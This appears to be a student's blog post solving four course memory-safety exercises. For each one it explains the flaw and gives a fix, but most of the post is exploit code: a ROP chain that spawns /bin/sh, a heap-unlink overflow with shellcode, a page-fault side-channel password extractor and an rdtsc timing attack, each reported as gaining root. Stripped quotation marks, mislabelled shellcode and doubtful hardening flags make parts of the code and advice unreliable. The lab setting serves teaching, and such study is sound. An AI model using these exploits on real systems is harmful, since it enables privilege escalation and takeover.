...

Cybersecurity Memory Safety

Posted on: 2025-03-31
Cybersecurity

published

Vulnerable 1

(a) Why is this program vulnerable?

The program is vulnerable to a stack buffer overflow because it likely uses an unsafe function (e.g., gets) to read input into a fixed-size buffer, allowing overwrite of the return address. With DEP enabled, shellcode execution is blocked, but the lack of stack protection (e.g., no canary) enables ROP to redirect control flow to existing code gadgets.

(b) How can you exploit it?

I exploit the overflow by crafting a ROP chain to overwrite the return address with gadget addresses, storing /bin/sh\0 in .data (0x080ec040), setting eax = 11, ebx = 0x080ec040, ecx = 0, edx = 0, and calling int 0x80 to execute execve(/bin/sh, 0, 0). The stack layout shifts from buffer to saved EBP and return address, which I overwrite with pop_edi to start the chain.

(c) What was your code?

 
#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack
import sys

p = lambda x : pack('I', x)

IMAGE_BASE_0 = 0x08048000 # 23a6a7250ac6ef42fab972d5483741b4743cebcffd7d0580aa8d4ec5a2cafede
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

rop = bA * 112

rop += rebase_0(0x00031a62) # 0x08079a62: pop edx; ret; 
rop += b'//bi'
rop += rebase_0(0x0000101e) # 0x0804901e: pop ebx; ret; 
rop += rebase_0(0x000a4040)
rop += rebase_0(0x0000e256) # 0x08056256: mov dword ptr [ebx], edx; pop ebx; pop esi; pop edi; ret; 
rop += p(0xdeadbeef)
rop += p(0xdeadbeef)
rop += p(0xdeadbeef)
rop += rebase_0(0x00031a62) # 0x08079a62: pop edx; ret; 
rop += b'n/sh'
rop += rebase_0(0x0000101e) # 0x0804901e: pop ebx; ret; 
rop += rebase_0(0x000a4044)
rop += rebase_0(0x0000e256) # 0x08056256: mov dword ptr [ebx], edx; pop ebx; pop esi; pop edi; ret; 
rop += p(0xdeadbeef)
rop += p(0xdeadbeef)
rop += p(0xdeadbeef)
rop += rebase_0(0x00009170) # 0x08051170: xor eax, eax; ret; 
rop += rebase_0(0x00031a62) # 0x08079a62: pop edx; ret; 
rop += rebase_0(0x000a4048)
rop += rebase_0(0x00021e7b) # 0x08069e7b: mov dword ptr [edx], eax; ret; 
# Filled registers: ebx, edx, eax, 
rop += rebase_0(0x0000101e) # 0x0804901e: pop ebx; ret; 
rop += rebase_0(0x000a4040)
rop += rebase_0(0x00031a62) # 0x08079a62: pop edx; ret; 
rop += rebase_0(0x000a4048)
rop += rebase_0(0x00009170) # 0x08051170: xor eax, eax; ret; 
rop += rebase_0(0x0001db50) # 0x08065b50: add eax, 1; pop edi; ret; 
rop += p(0xdeadbeef)
rop += rebase_0(0x0001db50) # 0x08065b50: add eax, 1; pop edi; ret; 
rop += p(0xdeadbeef)
rop += rebase_0(0x0001db50) # 0x08065b50: add eax, 1; pop edi; ret; 
rop += p(0xdeadbeef)
rop += rebase_0(0x0001db50) # 0x08065b50: add eax, 1; pop edi; ret; 
rop += p(0xdeadbeef)
rop += rebase_0(0x0001db50) # 0x08065b50: add eax, 1; pop edi; ret; 
rop += p(0xdeadbeef)
rop += rebase_0(0x0001db50) # 0x08065b50: add eax, 1; pop edi; ret; 
rop += p(0xdeadbeef)
rop += rebase_0(0x0001db50) # 0x08065b50: add eax, 1; pop edi; ret; 
rop += p(0xdeadbeef)
rop += rebase_0(0x0001db50) # 0x08065b50: add eax, 1; pop edi; ret; 
rop += p(0xdeadbeef)
rop += rebase_0(0x0001db50) # 0x08065b50: add eax, 1; pop edi; ret; 
rop += p(0xdeadbeef)
rop += rebase_0(0x0001db50) # 0x08065b50: add eax, 1; pop edi; ret; 
rop += p(0xdeadbeef)
rop += rebase_0(0x0001db50) # 0x08065b50: add eax, 1; pop edi; ret; 
rop += p(0xdeadbeef)
rop += rebase_0(0x00021fe0) # 0x08069fe0: int 0x80; ret; 
sys.stdout.buffer.write(rop)
 

(d) What proves your attack was successful?

Root access

(e) How would you remediate it?

Replace the vulnerable input function with a safe alternative, e.g., change gets(buf) to fgets(buf, sizeof(buf), stdin) to limit input size. Enable stack canaries (-fstack-protect) and DEP (-z execstack off) during compilation to prevent overflow and execution. If dynamic, use strncpy with bounds checking.

Vulnerable 2

(a) Why is this program vulnerable?

The program is vulnerable due to heap-based buffer overflow and use-after-free issues.

  1. Heap Overflow:

    • The data buffer in each node is 64 bytes, but strcpy() is used without bounds checking, allowing an overflow into adjacent memory (overwriting prev and next pointers)

  2. Use-After-Free & Unlink Exploitation:

    • list_delete() unlinks nodes from the doubly linked list without validating pointers, meaning an attacker can control the unlink process to perform arbitrary memory writes, redirecting execution flow

(b) How can you exploit the identified vulnerabilities?

  1. Overflow Node A’s data to overwrite Node B’s prev and next pointers and to write shellcode

  2. Corrupt Node B’s prev to point near a return address on the stack.

  3. Set Node B’s next to the address of our shellcode.

  4. When list_delete(b) is called, unlink() writes our shellcode’s address to a function pointer or return address.

  5. When the function returns, execution jumps to our shellcode, spawning a root shell.

(c) What was your code?

Here’s the full sol2.py exploit:

 
#!/usr/bin/env python3
import sys
import struct
from shellcode import shellcode

def create_payload():
    # We want to overwrite node b's pointers.
    target = 0xbff695dc      
    fake_prev = target     
    shellcode_addr = 0x80f0f38  # Address where our shellcode resides (in node a->data)

    # 64-bit execve(/bin/sh) shellcode (null-free) 
    nop = b\x90
    if len(shellcode) > 64:
        sys.exit(Shellcode too long!)
    padding = nop * (72 - len(shellcode))
    payload = padding + shellcode
    # Append the fake pointer values for node b (2 QWORDs = 16 bytes)
    payload += struct.pack(<I, fake_prev)
    payload += struct.pack(<I, shellcode_addr)
    
    return payload

def arg1():
    return create_payload() 

def arg2():
    # Argument for node b:
    return create_payload()

def arg3():
    # Argument for node c: 
    return (bC * 64)

def main():
    if len(sys.argv) != 2:
        print(Usage: python3 sol2.py <argument_number>)
        sys.exit(1)
    try:
        num = int(sys.argv[1])
    except ValueError:
        print(Invalid argument number.)
        sys.exit(1)
    if num == 1:
       sys.stdout.buffer.write(arg1())
    elif num == 2:
        sys.stdout.buffer.write(arg2())
    elif num == 3:
        sys.stdout.buffer.write(arg3())
    else:
        print(Invalid argument number (choose 1, 2, or 3).)

if __name__ == __main__:
    main()
 

(d) What proves that your attack was successful?

Root access

(e) How would you fix the vulnerability?

  1. Use strncpy() instead of strcpy() to prevent buffer overflows.

    strncpy(a->data, argv[1], sizeof(a->data) - 1); 
  2. Clear pointers after free to prevent use-after-free:

    node->prev = node->next = NULL; 
  3. Harden list_delete() to validate pointer integrity before modifying them.

  4. Enable memory protection mechanisms like ASLR and RELRO to prevent GOT overwrites.

Vulnerable 3

(a) Why is this program vulnerable (living up to its name)? Identify the vulnerabilities this program has and explain why/how exactly they are vulnerabilities.

The program sysapp.c is vulnerable to a memory-based side-channel attack because check_pass() accesses the password string’s memory one character at a time, triggering a segmentation fault when it attempts to read from a protected page. This fault reveals whether a guessed character matches the password, as the function dereferences the input pointer without bounds checking or sanitization, leaking information through the fault behavior. The vulnerability stems from the lack of memory access validation and the deterministic fault pattern tied to correct guesses.


(b) How can you exploit the identified vulnerabilities? Describe your strategy for attacking this program.

The strategy exploits the segmentation faults by positioning the guess string such that each character to be tested is just before a protected page (page_start - 1), calling check_pass() with each possible character, and catching faults with a signal handler. When a fault occurs, it indicates the character is correct because check_pass() tried to access the next (protected) memory location; I build the password incrementally by repeating this for each position up to 16 characters. A stack-like figure would show the guess string aligned right-to-left from page_start - 1, with faults signaling correct characters as the pointer dereferences into the protected page.


(c) What was your code? Attach your code.

 
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
#include <setjmp.h>
#include sysapp.h

char *buffer, *page_start;
int page_size;
sigjmp_buf jumpout;

// Handle segmentation faults
void handle_SEGV(int sig_num) {
    siglongjmp(jumpout, 1);
}

int main(int argc, char **argv) {
    char guess[17] = {0}; // Max 16 chars + null terminator
    const char *charset = ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789;
    int charset_len = strlen(charset);
    char *test_pos;

    // Get page size and allocate buffer
    page_size = sysconf(_SC_PAGESIZE);
    buffer = malloc(3 * page_size);
    if (!buffer) { perror(malloc failed); exit(1); }

    // Align page_start and protect it
    page_start = buffer + (page_size - ((unsigned long)buffer) % page_size);
    if ((page_start - buffer) <= 32) page_start += page_size;
    if (mprotect(page_start, page_size, PROT_NONE) == -1) { perror(mprotect failed); exit(1); }

    // Set up signal handler
    signal(SIGSEGV, handle_SEGV);

    // Guess password character by character
    for (int i = 0; i < 16; i++) {
        test_pos = page_start - 1 - i; // Position guess before protected page
        memcpy(test_pos, guess, i);     // Copy current guess

        // Test each character
        for (int j = 0; j < charset_len; j++) {
            test_pos[i] = charset[j];
            if (sigsetjmp(jumpout, 1) == 0) {
                check_pass(test_pos); // No fault = wrong char
            } else {
                guess[i] = charset[j]; // Fault = correct char
                break;
            }
        }

        // If no fault for any char, password ends
        if (j == charset_len) break;
    }

    // Submit password
    if (check_pass(guess)) {
        printf(Password Found: %s\n, guess);
        hack_system(guess);
    } else {
        printf(Could not get the password! Last guess was %s\n, guess);
    }

    free(buffer);
    return 1;
}
 

(d) What proves that your attack was successful? Attach the screenshot(s) of the result of your attack.

Root access

(e) If you were the author of the program (vulnerable sysapp.c), how would you remediate/eliminate these vulnerabilities?

To fix sysapp.c, I’d modify check_pass() to validate the input pointer’s memory range before dereferencing, ensuring it only accesses allocated, unprotected memory (e.g., using a bounds check like if (ptr >= valid_start && ptr < valid_end)). Alternatively, I’d copy the input to a local, safe buffer (e.g., char safe_buf[16]; strncpy(safe_buf, input, 16);) and compare against that, preventing faults from revealing information. This eliminates the side-channel by avoiding direct access to attacker-controlled memory locations.

Vulnerable 4

(a) Why is this program vulnerable (living up to its name)? Identify the vulnerabilities this program has and explain why/how exactly they are vulnerabilities.

The program sysapp.c is vulnerable due to a timing-based side-channel attack stemming from the check_pass() function, which introduces an artificial delay proportional to the number of correct characters matched in the guess. This sequential character-by-character comparison leaks timing information because the execution time increases predictably with each correct character, allowing an attacker to infer the password by measuring these differences. The vulnerability arises from the lack of constant-time execution, making it susceptible to precise timing measurements using tools like rdtsc().

(b) How can you exploit the identified vulnerabilities? Describe your strategy for attacking this program.

The strategy exploits the timing difference in check_pass() by measuring the execution time for each guess using rdtsc(), iterating through possible characters at each position, and selecting the one that maximizes the time (indicating a correct match). I repeatedly test each character in a charset, average out noise with multiple trials and median calculations, and build the password incrementally, relying on the fact that a correct prefix increases the delay. A stack-like figure would show the guess string growing left-to-right, with timing measurements revealing the correct character at each stack frame (position).

(b) What was your code? Attach your code.

 
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include sysapp.h

// Read cycle counter
static inline unsigned long long rdtsc() {
    unsigned long a, d;
    asm volatile(rdtsc : =a (a), =d (d));
    return ((unsigned long long)d << 32) | a;
}

#define TRIALS 100
#define MAX_PASS_LEN 16

// Compute median of timing array
unsigned long long median(unsigned long long arr[], int n) {
    for (int i = 0; i < n - 1; i++)
        for (int j = 0; j < n - i - 1; j++)
            if (arr[j] > arr[j + 1]) {
                unsigned long long temp = arr[j];
                arr[j] = arr[j + 1];
                arr[j + 1] = temp;
            }
    return arr[n / 2];
}

int main() {
    char guess[MAX_PASS_LEN + 1] = {0};
    const char *charset = ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789;
    int charset_len = strlen(charset);
    unsigned long long times[TRIALS];

    // Build password character by character
    for (int pos = 0; pos < MAX_PASS_LEN; pos++) {
        unsigned long long best_time = 0;
        char best_char = 0;

        // Test each character in charset
        for (int j = 0; j < charset_len; j++) {
            guess[pos] = charset[j];
            guess[pos + 1] = '\0';

            // Run trials to measure timing
            for (int k = 0; k < TRIALS; k++) {
                unsigned long long start = rdtsc();
                check_pass(guess);
                times[k] = rdtsc() - start;
            }

            // Pick character with longest median time
            unsigned long long med_time = median(times, TRIALS);
            if (med_time > best_time) {
                best_time = med_time;
                best_char = charset[j];
            }
        }

        guess[pos] = best_char;
        if (check_pass(guess)) {
            printf(Password Found: %s\n, guess);
            hack_system(guess);
            return 0;
        }
    }

    printf(Could not get the password! Last guess was %s\n, guess);
    return 1;
}
 

(d) What proves that your attack was successful? Attach the screenshot(s) of the result of your attack.

Root access

(e) If you were the author of the program (vulnerable sysapp.c), how would you remediate/eliminate these vulnerabilities?

To fix sysapp.c, I’d modify check_pass() to use a constant-time comparison by iterating over all characters regardless of matches, replacing the early return or variable delay with a fixed loop (e.g., for (int i = 0; i < strlen(password); i++) result &= (guess[i] == password[i])). This ensures execution time is independent of the number of correct characters, eliminating the timing side-channel. Alternatively, adding random delays (e.g., usleep(rand() % 100)) could obscure timing differences, though constant-time comparison is the more robust defense.